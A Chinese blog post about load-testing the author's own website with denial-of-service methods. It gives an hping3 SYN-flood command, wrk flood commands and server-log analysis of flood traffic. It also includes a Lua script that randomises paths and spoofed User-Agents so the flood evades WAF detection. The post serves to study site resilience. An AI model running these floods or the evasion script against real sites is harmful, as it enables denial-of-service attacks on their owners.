记一次使用wrk对网站进行测压

前言

*禁止将本文中任何命令、软件用于网络攻击,本文仅做学习用途,目的在于了解攻击者的手段,您做出的任何攻击行为将由您承担责任!!!

虽然说很少遇到攻击,但依然需要对网站进行测压,确保能在真正遭到攻击时应对,避免被打死之类的问题。最常见的攻击方法之一就是DoS(Deny of Service)攻击了,所以我们今天就来用这种方式对网站进行测压。

思路

DoS有很多种方案,比如洪水攻击等。经我的了解,洪水攻击最常见的方法是hping3Nmap(Nping)

我们先来看看hping3:

sudo hping3 -S --flood -V -p 443 leonxie.cn

稍等片刻,按下ctrl+c结束,网站确实有影响,但这类问题攻击ping就能解决,所以我们还需要测试其他方案。

hping3是对L3/L4(IP/TCP)层级发送大量请求,并不会上升到L7(HTTP)层级,但也会让系统的TCP栈苦苦维持。

思路转向应用层打击。这样,我们就需要发送完整POST/GET请求,才能影响Nginx/Apache等应用层。

于是,我们就需要请出wrk这样的工具啦(注:wrk是一款HTTP测压工具)。

实践

本次我们使用安装kali系统的服务器进行测试

我们先来看一看wrk的基本使用方法吧。

wrk -t <线程数> -c <连接数> -d <持续时间> <URL>

很简单吧?我们现在就来试一试吧

wrk -t4 -c100 -d60s https://www.leonxie.cn

参数

含义

-t4

启动4个线程

-c100

保持 100 个并发连接

-d60s

压测持续 30 秒

https://...

目标地址

使用无痕模式访问leonxie.cn,很明显,速度变慢了很多。查看1panel面板,可以发现CPU占用率达到了100%,负载也达到了120%。

很有效果,不过我们再来看看网站日志,可以看到请求都千篇一律,但凡开个WAF都不至于被打死。

154.12.55.215 - - [17/May/2025:10:23:23 +0800] "GET / HTTP/1.1" 499 0 "-" "-" "-"
154.12.55.215 - - [17/May/2025:10:23:23 +0800] "GET / HTTP/1.1" 499 0 "-" "-" "-"
154.12.55.215 - - [17/May/2025:10:23:23 +0800] "GET / HTTP/1.1" 200 15700 "-" "-" "-"
154.12.55.215 - - [17/May/2025:10:23:23 +0800] "GET / HTTP/1.1" 200 15700 "-" "-" "-"
154.12.55.215 - - [17/May/2025:10:23:23 +0800] "GET / HTTP/1.1" 499 0 "-" "-" "-"
154.12.55.215 - - [17/May/2025:10:23:23 +0800] "GET / HTTP/1.1" 200 15700 "-" "-" "-"
154.12.55.215 - - [17/May/2025:10:23:23 +0800] "GET / HTTP/1.1" 499 0 "-" "-" "-"
154.12.55.215 - - [17/May/2025:10:23:23 +0800] "GET / HTTP/1.1" 499 0 "-" "-" "-"
154.12.55.215 - - [17/May/2025:10:23:23 +0800] "GET / HTTP/1.1" 499 0 "-" "-" "-"
154.12.55.215 - - [17/May/2025:10:23:23 +0800] "GET / HTTP/1.1" 499 0 "-" "-" "-"

如果你没感觉出不对劲,我们来看看正常用户的访问日志,是不是区别就明显了?

158.101.33.75 - - [17/May/2025:10:28:46 +0800] "GET / HTTP/2.0" 200 7565 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" "-"
158.101.33.75 - - [17/May/2025:10:28:47 +0800] "GET /undefined HTTP/2.0" 404 211 "https://www.leonxie.cn/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" "-

经过分析,恶意流量的特点是这些:

  • 无User-Agent:未提供任何浏览器环境信息(User-Agent为空),极不正常,通常浏览器或正常爬虫都会带有User-Agent。

  • 访问路径单一:一直访问同一个路径,正常用户不会反复请求一个页面。

  • 状态码499:表示客户端提前断开连接,可能是扫描工具或脚本主动放弃连接。

  • 协议为HTTP/1.1:自动脚本或攻击工具往往仍会使用较旧的HTTP/1.1协议,且未升级到HTTP/2.0。

后面两个我们暂时放弃处理,主要针对第1,2个问题。

解决方法很简单,wrk支持使用Lua脚本自定义请求,我们只需要收集一些user-agent和目标网站的路径就行了。

我们依然以leonxie.cn为例,这是我针对其编写的脚本:

wrk.method = "GET"

-- 目标网站的各种路径,实际使用需要根据目标网站的情况进行更改
local paths = {
  "/", "/message-board", "/links", "/1745125004632", "/archives/website-building-guide"
}

-- 模拟多种终端的 User-Agent,包括正常用户,爬虫、监控、代理类软件
local user_agents = {
  "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36",
  "Mozilla/5.0 (iPhone; CPU iPhone OS 16_0 like Mac OS X) AppleWebKit/605.1.15 Version/16.0 Mobile/15E148 Safari/604.1",
  "Mozilla/5.0 (Linux; Android 10; SM-G970F) AppleWebKit/537.36 Chrome/114.0.0.0 Mobile Safari/537.36",
  "Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/124.0",
  "Baiduspider/2.0 (+http://www.baidu.com/search/spider.html)",
  "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)",
  "curl/7.88.1", "Shadowrocket/2615 CFNetwork/3826.500.111.2.2 Darwin/24.4.0 iPad8,5", "clash-verge/v2.0.3-alpha", "uptime-kuma/1.23.0"
}

-- 每次请求都实时生成路径和 UA
function request()
  math.randomseed(os.time() + math.random(100000))  -- 每个线程随机性
  local path = paths[math.random(#paths)]
  local ua   = user_agents[math.random(#user_agents)]

  local headers = {
    ["User-Agent"] = ua
  }

  return wrk.format("GET", path, headers)
end

将脚本保存为test.lua,使用命令开始测压:

wrk -t8 -c100 -d120s -s test.lua https://www.leonxie.cn
154.12.55.215 - - [17/May/2025:10:49:51 +0800] "GET /1745125004632 HTTP/1.1" 499 0 "-" "Baiduspider/2.0 (+http://www.baidu.com/search/spider.html)" "-"
154.12.55.215 - - [17/May/2025:10:49:51 +0800] "GET / HTTP/1.1" 499 0 "-" "uptime-kuma/1.23.0" "-"
154.12.55.215 - - [17/May/2025:10:49:51 +0800] "GET /links HTTP/1.1" 499 0 "-" "uptime-kuma/1.23.0" "-"
154.12.55.215 - - [17/May/2025:10:49:51 +0800] "GET / HTTP/1.1" 499 0 "-" "Baiduspider/2.0 (+http://www.baidu.com/search/spider.html)" "-"
154.12.55.215 - - [17/May/2025:10:49:51 +0800] "GET / HTTP/1.1" 200 15700 "-" "Shadowrocket/2615 CFNetwork/3826.500.111.2.2 Darwin/24.4.0 iPad8,5" "-"
154.12.55.215 - - [17/May/2025:10:49:51 +0800] "GET /1745125004632 HTTP/1.1" 499 0 "-" "curl/7.88.1" "-"
154.12.55.215 - - [17/May/2025:10:49:51 +0800] "GET / HTTP/1.1" 499 0 "-" "clash-verge/v2.0.3-alpha" "-"
154.12.55.215 - - [17/May/2025:10:49:51 +0800] "GET / HTTP/1.1" 200 15700 "-" "Mozilla/5.0 (Linux; Android 10; SM-G970F) AppleWebKit/537.36 Chrome/114.0.0.0 Mobile Safari/537.36" "-"
154.12.55.215 - - [17/May/2025:10:49:51 +0800] "GET / HTTP/1.1" 499 0 "-" "curl/7.88.1" "-"
154.12.55.215 - - [17/May/2025:10:49:51 +0800] "GET / HTTP/1.1" 499 0 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" "-"
154.12.55.215 - - [17/May/2025:10:49:51 +0800] "GET /archives/website-building-guide HTTP/1.1" 499 0 "-" "uptime-kuma/1.23.0" "-"

可以看到还是挺有效果的,在WAF开启的情况下,ip没有被封禁,也对目标网站造成了一定的压力。

结语

本次测试反映出一个严重的问题,就是我的网站完全防不住DoS攻击,别说DDoS了,所以正在寻找一种合适的方案,如果有建议欢迎留言。

感谢阅读,有问题欢迎留言,我们下次再见~


记一次使用wrk对网站进行测压
https://www.leonxie.cn/archives/wrk-attack
作者
LeonXie
发布于
2025年05月17日
更新于
2025年05月17日
许可协议